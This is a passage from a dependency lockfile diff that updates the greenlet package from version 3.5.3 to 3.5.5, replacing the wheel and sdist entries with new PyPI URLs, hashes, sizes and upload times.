upload-time = "2026-06-26T19:09:04.273Z" }, - { url = "https://files.pythonhosted.org/packages/ef/fe/43fd110b01e40da0adb7c90ac7ea744bef2d43dca00de5095fd2351c2a68/greenlet-3.5.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:2ecda9ec22edf38fa389369eaed8c3d37c05f3c54e69f69438dbb2cc1de1458b", size = 1638614, upload-time = "2026-06-26T18:31:46.297Z" }, - { url = "https://files.pythonhosted.org/packages/0f/7c/062447147a61f8b4337b156fe70d32a165fcf2f89d7ca6255e572806705c/greenlet-3.5.3-cp313-cp313-win_amd64.whl", hash = "sha256:c82304750f057167ff60d188df1d0cc1764ce9567eadf03e6a7443bcedd0b30b", size = 239850, upload-time = "2026-06-26T18:21:54.613Z" }, - { url = "https://files.pythonhosted.org/packages/c7/7e/220a7f5824a64a60443fc03b39dfac4ea63a7fb6d481efa27eafa928e7f4/greenlet-3.5.3-cp313-cp313-win_arm64.whl", hash = "sha256:dc133a1569ee667b2a6ef56ce551084aeefd87a5acbc4736d336d1e2edc6cfc4", size = 238141, upload-time = "2026-06-26T18:22:48.507Z" }, - { url = "https://files.pythonhosted.org/packages/c3/93/43e116ee114b28737ba7e12952a0d4e2f55944d0f84e42bc91ba7192a3c9/greenlet-3.5.3-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:fd2e02fa07485778536a036222d616ab957b1d533f36b3ed98ce725d9c9d3117", size = 288202, upload-time = "2026-06-26T18:23:49.604Z" }, - { url = "https://files.pythonhosted.org/packages/82/2f/146d218299046a43d1f029fd544b3d110d0f175a09c715c7e8da4a4a345d/greenlet-3.5.3-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df0a0628d1597eb0897b62f55d1343f772405fd25f3b2a796c76874b0c2e22e8", size = 654096, upload-time = "2026-06-26T19:07:12.71Z" }, - { url = "https://files.pythonhosted.org/packages/a0/cc/04738cafb3f45fa991ea44f9de94c47dcec964f5a972300988a6751f49d9/greenlet-3.5.3-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ebd933a6adabc298bab47731a130fe6bfb888bd934eee37810f151159544540d", size = 666304, upload-time = "2026-06-26T19:10:09.503Z" }, - { url = "https://files.pythonhosted.org/packages/ce/aa/4e0dad5e605c270c784ab911c43da6adb136ccd4d81180f763ca429a723d/greenlet-3.5.3-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b9d501b40e80b70e32323c799dd9b420a5577a9601469d362ae1ffb690f3a7c", size = 663635, upload-time = "2026-06-26T18:32:20.802Z" }, - { url = "https://files.pythonhosted.org/packages/d1/50/13efdbea246fe3d3b735e191fec08fb50809f53cd2383ebe123d0809e44b/greenlet-3.5.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a1fad1d11e7d6aab184107baa8e4ece11ccba3ec9599cd7efa5ff4d70d43256a", size = 1621252, upload-time = "2026-06-26T19:09:05.647Z" }, - { url = "https://files.pythonhosted.org/packages/f7/22/c0a336ae4a1410fd5f5121098e5bfbf1865f64c5ef80b4b5412886c4a332/greenlet-3.5.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:fad5aec764399f1b5cc347ad250a59660f20c8f8888ea6bae1f93b769cce1154", size = 1684824, upload-time = "2026-06-26T18:31:47.738Z" }, - { url = "https://files.pythonhosted.org/packages/7a/94/91aec0030bea75c4b3244251d0de60a1f3432d1ecb53ab6c437fb5c3ba61/greenlet-3.5.3-cp314-cp314-win_amd64.whl", hash = "sha256:7669aa24cf2a1041d6f7899575b494a3ab4cf68bfcc8609b1dc0be7272db835e", size = 240754, upload-time = "2026-06-26T18:22:15.669Z" }, - { url = "https://files.pythonhosted.org/packages/e5/06/68d0983e79e02138f64b4d303c500c27ddb48e5e77f3debb80888a921eae/greenlet-3.5.3-cp314-cp314-win_arm64.whl", hash = "sha256:5b4807c4082c9d1b6d9eed56fcd041863e37f2228106eef24c30ca096e238605", size = 239549, upload-time = "2026-06-26T18:22:42.996Z" }, - { url = "https://files.pythonhosted.org/packages/91/95/3e161213d7f1d378d15aa9e792093e9bfe01844680d04b7fd6e0107c9098/greenlet-3.5.3-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:271a8ea7c1024e8a0d7dd2be66dd66dda8a07193f41a17b9e924f7600f5b62be", size = 296389, upload-time = "2026-06-26T18:22:20.657Z" }, - { url = "https://files.pythonhosted.org/packages/00/92/715c44721abe2b4d1ae9abde4179411868a5bff312479f54e105d372f131/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:19131729ae0ddc3c2e1ef85e650169b5e37ee32e400f215f78b94d7b0d567310", size = 653382, upload-time = "2026-06-26T19:07:14.209Z" }, - { url = "https://files.pythonhosted.org/packages/a0/83/37a10372a1090a6624cca8e74c12df1a36c2dc36429ed0255b7fb1aeee23/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1540dd8e5fc2a5aec40fbb98ef8e149fa47c89a4b4a1cf2575a14d3d1869d7a8", size = 659401, upload-time = "2026-06-26T19:10:10.876Z" }, - { url = "https://files.pythonhosted.org/packages/db/e2/d1509cad4207da559cc42986ecdd8fc67ad0d1bba2bf03023c467fd5e0f3/greenlet-3.5.3-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e81fa194a1d20967877bdf9c7794db2bc99063e5be36aee710c08f04c5bb087f", size = 656969, upload-time = "2026-06-26T18:32:22.272Z" }, - { url = "https://files.pythonhosted.org/packages/86/7d/eaf70de20aadca3a5884aec58362861c64ce45e7b277f47ed026926a3b89/greenlet-3.5.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:55cf4d777485d43110e47133cbba6d74a8885a87ec1227ef0267f9ee80c5aa21", size = 1617822, upload-time = "2026-06-26T19:09:06.893Z" }, - { url = "https://files.pythonhosted.org/packages/8a/f9/414d38fc400ae4350d4185eaad1827676f7cf5287b9136e0ed1cbbe20a7f/greenlet-3.5.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:12a248ba75f6a9a236375f52296c498c89ff1d8badf32deb9eca7abd5853f7da", size = 1677983, upload-time = "2026-06-26T18:31:49.396Z" }, - { url = "https://files.pythonhosted.org/packages/e4/15/7edb977e08f9bff702fe42d6c902702786ff6b9694058b4e6a2a6ac90e57/greenlet-3.5.3-cp314-cp314t-win_amd64.whl", hash = "sha256:efc6bd60ea02e085862c74a3ef64b147ffc6f1a5ea7d9f26e7a939943f68c1e3", size = 243626, upload-time = "2026-06-26T18:24:41.485Z" }, - { url = "https://files.pythonhosted.org/packages/2c/8a/93928dce91e6b3598b5e779e8d1fd6576a504640c58e78627077f6a7a91a/greenlet-3.5.3-cp315-cp315-macosx_11_0_universal2.whl", hash = "sha256:ea03f2f04367845d6b58eeed276e1e56e51f0b97d8ad5a88a7d20a91dc9056cc", size = 288860, upload-time = "2026-06-26T18:22:48.07Z" }, - { url = "https://files.pythonhosted.org/packages/4f/ca/69db42d447a1378043e2c8f19c09cbbd1263371505053c496b49066d3d16/greenlet-3.5.3-cp315-cp315-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78dbef602fda6d97d957eb7937f70c9ce9e9527330347f8f6b6f9e554a9e7a47", size = 659747, upload-time = "2026-06-26T19:07:15.565Z" }, - { url = "https://files.pythonhosted.org/packages/a8/0b/af7ac2ef8dd41e3da1a40dda6305c23b9a03e13ba975ec916357b50f8575/greenlet-3.5.3-cp315-cp315-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f73857adb8fee13fa56c172bd11262f888c0c648f9fea113e777bb2c7904a81", size = 670419, upload-time = "2026-06-26T19:10:12.293Z" }, - { url = "https://files.pythonhosted.org/packages/51/1e/1d51640cacbfc455dbe9f9a9f594c49e4e244f63b9971a2f4764e46cc53d/greenlet-3.5.3-cp315-cp315-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:232fec92e823addaf02d9472cf7381e24a1d046a6ced1103c5caa4c21b9dfc1d", size = 668787, upload-time = "2026-06-26T18:32:24.298Z" }, - { url = "https://files.pythonhosted.org/packages/21/66/4030d5b0b5894500023f003bb054d9bb354dfbd1e186c3a296759172f5f5/greenlet-3.5.3-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:2421c3564da9429d5586d46ca31ebb26516b5498a802cf65c041a8e8a8980d34", size = 1626305, upload-time = "2026-06-26T19:09:08.281Z" }, - { url = "https://files.pythonhosted.org/packages/0e/50/5221371c7550108dfa3c378debc41d032aa9c78e89abb01d8011cfc93289/greenlet-3.5.3-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:e0f0d160f0b2e558e6c75f7930967183255dc9735e5f5b8cae58ee09c9576d8b", size = 1688631, upload-time = "2026-06-26T18:31:51.278Z" }, - { url = "https://files.pythonhosted.org/packages/68/5d/00d469daae3c65d2bf620b10eee82eb022127d483c6bc8c69fae6f3fbf17/greenlet-3.5.3-cp315-cp315-win_amd64.whl", hash = "sha256:dd99329bbc15ca78dcc583dba05d0b1b0bae01ab6c2174989f5aaee3e41ac930", size = 241027, upload-time = "2026-06-26T18:22:38.203Z" }, - { url = "https://files.pythonhosted.org/packages/e7/e8/883785b44c5780ed71e83d3e4437e710470be17a2e181e8b601e2da0dc4a/greenlet-3.5.3-cp315-cp315-win_arm64.whl", hash = "sha256:499fef2acede88c1864a57bb586b4bf533c81e1b82df7ab93451cdb47dfec227", size = 240085, upload-time = "2026-06-26T18:23:54.217Z" }, - { url = "https://files.pythonhosted.org/packages/1c/da/4f4a8450962fad137c1c8981a3f1b8919d06c829993d4d476f9c525d5173/greenlet-3.5.3-cp315-cp315t-macosx_11_0_universal2.whl", hash = "sha256:176bc16a721fa5fc294d70b87b4dfa5fbdd251b3da5d5372735ecef9bd7d6d0c", size = 297221, upload-time = "2026-06-26T18:23:27.176Z" }, - { url = "https://files.pythonhosted.org/packages/57/66/b3bfae3e220a9b63ea539a0eea681800c69ab1aada757eae8789f183e7ce/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:629b614d2b786e89c50440e246f33eea78f58a962d0bdbbcc809e6d13605903f", size = 657221, upload-time = "2026-06-26T19:07:16.973Z" }, - { url = "https://files.pythonhosted.org/packages/7b/81/b6d4d73a709684fc77e7fa034d7c2fe82cffa9fc920fadcaa659c2626213/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2b2e857ae16f5f72142edf75f9f176fe7526ba19a2841df1420516f83831c9f2", size = 663226, upload-time = "2026-06-26T19:10:13.723Z" }, - { url = "https://files.pythonhosted.org/packages/f5/07/e210b02b589f16e74ff48b730690e4a34ffe984219fce4f3c1a0e7ec8545/greenlet-3.5.3-cp315-cp315t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e515757e2e36bcbf1fad09a46e1557e8b1ae1797d4b44d09da7deed88ad28608", size = 660802, upload-time = "2026-06-26T18:32:26.081Z" }, - { url = "https://files.pythonhosted.org/packages/eb/2e/5303eb3fa06bca089060f479707182a93e360683bc252acf846c3090d34e/greenlet-3.5.3-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:b363d46ed1ea431825fdb01471bb024fc08399bad1572a616e853c7684415adb", size = 1622157, upload-time = "2026-06-26T19:09:09.527Z" }, - { url = "https://files.pythonhosted.org/packages/54/70/50de47a488f14df260b50ae34fb5d56016e308b098eab02c878b5223c26a/greenlet-3.5.3-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:e44da2f5bbdaabaf7d80b73dbb430c7035771e9f244e3c8b769715c9d8fa0a16", size = 1681159, upload-time = "2026-06-26T18:31:52.986Z" }, - { url = "https://files.pythonhosted.org/packages/a7/13/1055e1dda7882073eda533e2b96c62e55bbd2db7fda6d5ece992febc7071/greenlet-3.5.3-cp315-cp315t-win_amd64.whl", hash = "sha256:8ff8bed3e3baa20a3ea261ce00526f1898ad4801d4886fd2220580ee0ad8fadf", size = 244007, upload-time = "2026-06-26T18:22:04.353Z" }, - { url = "https://files.pythonhosted.org/packages/b4/0d/ca7d15afbdc397e3401134c9e1800d51d12b829661786187a4ad08fe484f/greenlet-3.5.3-cp315-cp315t-win_arm64.whl", hash = "sha256:b7068bd09f761f3f5b4d214c2bed063186b2a86148c740b3873e3f56d79bac31", size = 242586, upload-time = "2026-06-26T18:23:37.93Z" }, +version = "3.5.5" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/0b/d8/7cc97c142388aef03f622e001c572c4f84e9252a439549d483f555771970/greenlet-3.5.5.tar.gz", hash = "sha256:adb4bae02e91a8e863e48b177e4014bdcac8a6b5e047ea1df687a61534b85e6c", size = 207585, upload-time = "2026-08-10T15:09:36.136Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/07/67/07ecd6d85c0f253363cbc4ac9e7dd048ca571a267fbccfea084d6009ac3b/greenlet-3.5.5-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:816230f469381ad0a43abc9fa8dda5a699e32fb78958dde32ded93213b70a667", size = 292971, upload-time = "2026-08-10T13:28:09.837Z" }, + { url = "https://files.pythonhosted.org/packages/24/35/426733bc24247ee17bb76df90f550c299ff5f8572b2bdd7cacb5c53fd994/greenlet-3.5.5-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a5433cf291e0ef9114bd14d0d824db6e5e4a43033234bca48181a9597acca07b", size = 609290, upload-time = "2026-08-10T14:14:32.273Z" }, + { url = "https://files.pythonhosted.org/packages/9c/dc/17d3a5acceb2fd0bbc9682a228117b719cdfb68085e6dbb33fa325755f27/greenlet-3.5.5-cp310-cp310-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:19d59f068887d8c5907fc177f27683413ace3011b6ed646c0b309266e74a6502", size = 622650, upload-time = "2026-08-10T14:27:22.004Z" }, + { url = "https://files.pythonhosted.org/packages/51/91/00b3c0566316c6f383ea16ee05388ec4f57f6e0afa49e72ae471eda8c47f/greenlet-3.5.5-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9ff00e12102358292087274dfb1669132387ff6e7920ebf9d85f4826ce0d3a56", size = 622819, upload-time = "2026-08-10T13:40:46.562Z" }, + { url = "https://files.pythonhosted.org/packages/3c/78/52de4f7ac9152ad1dbc8f437895c1e573d30ee1e1427e0f91a280e2417b6/greenlet-3.5.5-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:523bb8e27614d77101ea7a8cf59f8d91219b72d5c29f6a038c92b50828bfa8d0", size = 1582164, upload-time = "2026-08-10T14:15:02.645Z" }, + { url = "https://files.pythonhosted.org/packages/f6/ff/c3855a00c2417e8f61c7b9f0bc4f8f599c6928f5c15681ad251e78a91e05/greenlet-3.5.5-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1e2db190db51c17433eee424803818cf0670bf049d9cfe0dd07be111d1aa7c4", size = 1648807, upload-time = "2026-08-10T13:40:27.471Z" }, + { url = "https://files.pythonhosted.org/packages/70/21/d29ff6a79dbd1ec1fe74c155d25d4c5a85e221d6b9ffc2cc7a709e7c8c39/greenlet-3.5.5-cp310-cp310-win_amd64.whl", hash = "sha256:740e544169527b82695ce76af2f7ad6f030904658f2f3921a1d245771fb88cfc", size = 322832, upload-time = "2026-08-10T13:28:10.85Z" }, + { url = "https://files.pythonhosted.org/packages/4e/a3/07297917485ee2ca85bc3c8dc6ed85ad3fffcf424047fba62671dba68e97/greenlet-3.5.5-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:be63afcbbccfad3dd95a1ba12ada84dab2ef32031973d80b5b92df67fa763a61", size = 294165, upload-time = "2026-08-10T13:25:17.987Z" }, + { url = "https://files.pythonhosted.org/packages/db/51/6f732f9314cda54c5fd48a7620c7160f4f286967e8045ad94b9d66ce80b7/greenlet-3.5.5-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8a268024ce2d7d2b04694bf1594058981a9fa663d1df4b762dee499211ed7c1c", size = 613610, upload-time = "2026-08-10T14:14:33.829Z" }, + { url = "https://files.pythonhosted.org/packages/d8/c0/b27589e25d220289edcd4d582b2b17b83058d1a56d53d971b6ea1a34f10d/greenlet-3.5.5-cp311-cp311-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:35cbb8bf55ace57fbccb4fb8622c4521713acd8691e77f4696d416ea7ca527da", size = 625481, upload-time = "2026-08-10T14:27:23.647Z" }, + { url = "https://files.pythonhosted.org/packages/51/2d/f2c928218ac52f26d7a2c188c171d1b7e728b23782cb3347e7b4fce1493a/greenlet-3.5.5-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:74cc6df89ec5302337adc9cf096221cbed2510fd444b0e0f1586cf0470740864", size = 624562, upload-time = "2026-08-10T13:40:48.064Z" }, + { url = "https://files.pythonhosted.org/packages/3e/4a/92fc51d5d35912f4f06eec037ba347985defd0be47463a010a325634d9d2/greenlet-3.5.5-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6d9b454c5fc48aeaa7c4337813dbf513a6870468e426438a04d922c6d0fe63db", size = 1584909, upload-time = "2026-08-10T14:15:04.343Z" }, + { url = "https://files.pythonhosted.org/packages/ac/58/ed98b80ac5738c149a5258544843c45601ade1fd70f61740cdaead6351b3/greenlet-3.5.5-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:03551ed792cb1b4fc0277a0c60dfd8c343894a0ba06fe60dcd22f568b433da39", size = 1651184, upload-time = "2026-08-10T13:40:28.879Z" }, + { url = "https://files.pythonhosted.org/packages/d8/be/b582ceb80cefdf9d8da34078714e4b12b3d16f509dee0f65e40a5cc8fc7d/greenlet-3.5.5-cp311-cp311-win_amd64.whl", hash = "sha256:ab3df3dffb58bf70564e93a5cec7941e4d9faa5a36cc4234a10d3131afe04f53", size = 323280, upload-time = "2026-08-10T13:26:07.495Z" }, + { url = "https://files.pythonhosted.org/packages/4d/18/5313c4c58598c38b0373c013e4ff2b3e6d258aaaa338f373335ebecdaddd/greenlet-3.5.5-cp311-cp311-win_arm64.whl", hash = "sha256:2b70a766135540c472ac1393d57c2e1b4a2eb85bf526a1e41e6d096173a8cee5", size = 307785, upload-time = "2026-08-10T13:28:34.874Z" }, + { url = "https://files.pythonhosted.org/packages/2e/7e/9ecd0285e3153532ae07aeb88063c43c72b4221cf0d4d123b02f3682e3ff/greenlet-3.5.5-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:49520f0c95a48b42cf55414b8e8479beb274ea70431afc33e3f79903c71f4380", size = 295809, upload-time = "2026-08-10T13:25:34.023Z" }, + { url = "https://files.pythonhosted.org/packages/35/73/60e4bbcc89252037b18087f2ec16405d5b2d5be42dde191bbf3667e96102/greenlet-3.5.5-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:55272212cbc5f43d1d723725ab931f1939969b7e9523882ca58b55061769d053", size = 611910, upload-time = "2026-08-10T14:14:35.18Z" }, + { url = "https://files.pythonhosted.org/packages/a4/17/cd5134be659cd4a443e7a61ae670dabec165a814c51162916d637b6dd38e/greenlet-3.5.5-cp312-cp312-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:655bca754a2ef4efcb0eb48a94d3f4593536d0f3d48f8ed44343c01d16a92f95", size = 624198, upload-time = "2026-08-10T14:27:25.229Z" }, + { url = "https://files.pythonhosted.org/packages/78/ac/5c5b959999b6f09c3026b5dfe171575bc3121c5236ce74f495096f25b203/greenlet-3.5.5-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:147b25a42e5ca5be3d42356e8f608b37af715a1c196e9bf9d1627f3341adfe1d", size = 621439, upload-time = "2026-08-10T13:40:49.391Z" }, + { url = "https://files.pythonhosted.org/packages/c8/8b/6acf112ed8aee499f25b4d6949820fb02ac950ff9c1f3d793bd5be0599f2/greenlet-3.5.5-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:27493374cff1d1b7919dc8126547f2aea582737e3046147b434b1e12de56389b", size = 1581342, upload-time = "2026-08-10T14:15:05.653Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d7/734e5f198888876b42d7616ff6644c075baf6b8a2412deadd6b0e1b8b20c/greenlet-3.5.5-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:12e2ee66c2aba86133f10fd99d6a8856c6d351ffb7be0e4d52ef2cc5fbb705b2", size = 1645744, upload-time = "2026-08-10T13:40:30.353Z" }, + { url = "https://files.pythonhosted.org/packages/de/30/1f42b88dc587b5899ee50616ad56ee40cafaf225df4fb829f10183c62a5c/greenlet-3.5.5-cp312-cp312-win_amd64.whl", hash = "sha256:49ddacd36af37735fab103846f4ee4d18a492dde72730d1699c0c8ebe30d9f18", size = 324171, upload-time = "2026-08-10T13:28:44.472Z" }, + { url = "https://files.pythonhosted.org/packages/76/e5/4dee4d8d2e603fe5fdd7b444e63219f7b9bd852c60c6214511c7157cbe88/greenlet-3.5.5-cp312-cp312-win_arm64.whl", hash = "sha256:5f1b1ff4828cdc1aba4266aff814085d04a1d07959287219af021b838b265d52", size = 308362, upload-time = "2026-08-10T13:26:46.839Z" }, + { url = "https://files.pythonhosted.org/packages/fb/3d/8cef5f724ec0d4add2af8961d504535ec60c3cca9e464f6d03bdba29d85b/greenlet-3.5.5-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:b79fd2a5bc099b5e744f34c4c9a58954a5f4cb7529fb4b6e8446057d61b6edaa", size = 294730, upload-time = "2026-08-10T13:27:51.206Z" }, + { url = "https://files.pythonhosted.org/packages/88/4b/8e7aa3f514273aecff30a16ab1bac09ff54cfc7e6860fdd8058c37ff2499/greenlet-3.5.5-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:634cf15a233a949136879dd388e25d3296e16f3f1e217d2456797b8579ebc6ed", size = 614536, upload-time = "2026-08-10T14:14:36.589Z" }, + { url = "https://files.pythonhosted.org/packages/85/48/4e95e9dd5a8a397dc6a6345dd7f1935113d0fca4f85e89d3976da9cd988d/greenlet-3.5.5-cp313-cp313-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:499adea519f748407fc6806d20eedabac2884fd73b9f38d81236e190ba20dfef", size = 626924, upload-time = "2026-08-10T14:27:27.048Z" }, + { url = "https://files.pythonhosted.org/packages/89/5d/398a1c71fa7a277deeb376c999979de6786f08fc2d5747a0b9d6e11738dd/greenlet-3.5.5-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2eabb980975cba5b93a95f6f69287d05fc05ac955bfd6a320a7c083eeb52c0b0", size = 623906, upload-time = "2026-08-10T13:40:50.501Z" }, + { url = "https://files.pythonhosted.org/packages/04/1b/745450fc5ea9e0cb17d840d248f284db3363de736d362c7d2d883e3eadba/greenlet-3.5.5-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:03115c2e0a371999bf8ae616aa8d653f96641d4705c457aebaa187276e9f7537", size = 1581430, upload-time = "2026-08-10T14:15:06.853Z" }, + { url = "https://files.pythonhosted.org/packages/d4/29/d51b296e3191bb15d3d81ec375af1909e4466c0f395d744ed475801798a9/greenlet-3.5.5-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4441153ffba21b90d3ca89fe3d31f5c093ae6c0bf0cfdfc98f54cde22f95b62e", size = 1645684, upload-time = "2026-08-10T13:40:32.133Z" }, + { url = "https://files.pythonhosted.org/packages/12/63/369f1a1625e64e9e31df3963c6044056e3fdfa3fa3fdba3c54ffefa6e987/greenlet-3.5.5-cp313-cp313-win_amd64.whl", hash = "sha256:95c5b1f4b3a193f8a0c2de4bfdcb48d119f7f1063941f1de1f2168051b3e52dd", size = 324075, upload-time = "2026-08-10T13:26:58.974Z" }, + { url = "https://files.pythonhosted.org/packages/45/78/649cb5c09d4d81f6dd1444e75474a7206784743283a21d24171562ac4899/greenlet-3.5.5-cp313-cp313-win_arm64.whl", hash = "sha256:1af90aa4bc129883b340cdd6957a3bc74f60528a4993bbd1f53aaebe1d9981cc", size = 308260, upload-time = "2026-08-10T13:27:50.795Z" }, + { url = "https://files.pythonhosted.org/packages/7f/8c/080e881fa2be95ff1ddbd6994b2bab3b1a78df3b3fcab39306011764fcc7/greenlet-3.5.5-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:d4a389a852e392a6366058651a20fa5ba40d979865aa81bea2ccbdc44805070d", size = 295309, upload-time = "2026-08-10T13:26:03.032Z" }, + { url = "https://files.pythonhosted.org/packages/25/cc/0ac614e6586c0e42d4cc281a5819150f4f43685744a4c5ff77139286409d/greenlet-3.5.5-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:70b157cd319873e8b544ddc2de158f55bbd0a9b0218c8ce9332039801518e328", size = 661185, upload-time = "2026-08-10T14:14:37.867Z" }, + { url = "https://files.pythonhosted.org/packages/5e/b9/6808725354be8ad305dfe5172377664fc9642d4fc043be246b3314cf4482/greenlet-3.5.5-cp314-cp314-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8bdfd1424abcf26832961e766570cae79efdb9599d709088c9cb6ef82b194926", size = 673419, upload-time = "2026-08-10T14:27:28.652Z" }, + { url = "https://files.pythonhosted.org/packages/42/2e/40c509967da7f254680826a2fa0dd22138ec79946c70b97542d74cde8b43/greenlet-3.5.5-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:182de51c6b572a705f2fafaab2e783bcf7d2760940229dfe73086cbae037af3e", size = 670822, upload-time = "2026-08-10T13:40:51.833Z" }, + { url = "https://files.pythonhosted.org/packages/2d/22/c3c2eee4a8fe191d6d1d183086c56133d646024e3d70bfd414829f64560b/greenlet-3.5.5-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8fec3f165dfe332e490c3247c0f6c23b0bfc45f06496ad7f00ddb00e3d35e4dc", size = 1628469, upload-time = "2026-08-10T14:15:08.11Z" }, + { url = "https://files.pythonhosted.org/packages/f7/87/25babd09b94cb1f03e71db815fde463f0262e40cfbd953d58a8d77311351/greenlet-3.5.5-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:c6ce25fee6cabc8bf22cb8b52e642cbb821be5b9aec8094d07ff03378141b8e9", size = 1691952, upload-time = "2026-08-10T13:40:33.502Z" }, + { url = "https://files.pythonhosted.org/packages/2e/3d/5cc9701117ea4dc0eb7bf1f4f9b7888a6e2e5277ddfae095805ace50f2b6/greenlet-3.5.5-cp314-cp314-win_amd64.whl", hash = "sha256:7dffc5c859fe6059974df1e37d7923d654a83e2ae18fdd616994270e001115e1", size = 327458, upload-time = "2026-08-10T13:27:02.868Z" }, + { url = "https://files.pythonhosted.org/packages/a7/6b/594fa2de7fae7629168a404a4305d7d7e31a5742c50a801b1839543cb93d/greenlet-3.5.5-cp314-cp314-win_arm64.whl", hash = "sha256:5e2afcfc4d4305dd715809b03da5cbe437c8984f61d8917751eb5fe4aefa3e07", size = 311146, upload-time = "2026-08-10T13:27:25.046Z" }, + { url = "https://files.pythonhosted.org/packages/24/e0/50cd600b469e5734c72709b6b1838b6bc63f307b573c772c3132d6ecfe92/greenlet-3.5.5-cp314-cp314t-macosx_11_0_universal2.whl", hash = "sha256:0e5a7de979d764aea1f5b6e95cf92b5b37741b9823702041f34b126e7f690277", size = 305471, upload-time = "2026-08-10T13:26:20.568Z" }, + { url = "https://files.pythonhosted.org/packages/75/a3/77acd66dfc6387b5219b2080806c0cabb73c10eb1bb44b413c40a62015ba/greenlet-3.5.5-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fef01bd457f11fc158b130ca0027a3c365693280e8e231b65bdaf57999f39f5b", size = 672470, upload-time = "2026-08-10T14:14:39.058Z" }, + { url = "https://files.pythonhosted.org/packages/b9/71/0d178142dca3ec19f46fb2212ae73d30ad53b9d548dc64804086033a7089/greenlet-3.5.5-cp314-cp314t-manylinux_2_24_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5173a72310725a74afc82c164f0e52cb8ad0de62f2bb623f24f6c0cc07d80272", size = 679973, upload-time = "2026-08-10T14:27:30.072Z" }, + { url = "https://files.pythonhosted.org/packages/6e/31/46eb8567302eaf787abf88d09df014e14ae3baf460af1b8b0efdbd3efcd5/greenlet-3.5.5-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44f08341873200ba8a60a8bc14ace3d91f1754f7fa7bc66157714a8cd420a476", size = 676634, upload-time = "2026-08-10T13:40:53.004Z" }, + { url = "https://files.pythonhosted.org/packages/a3/e9/b88bbf5b29970cb84172dc2c32aa3e5e579ceb94c808e81c826454138850/greenlet-3.5.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:d246c0db9a2513cd45f019ba178ea4d4d4705bd210ee465e2c15d76a1ab13874", size = 1637320, upload-time = "2026-08-10T14:15:09.317Z" }, + { url = "https://files.pythonhosted.org/packages/6d/8c/7631ed29cc6f0392f11830076e172ce4885e70b0bc2c1bce1731176d4b4e/greenlet-3.5.5-cp314-cp314t-musllinux_1_2_x86_64.whl", 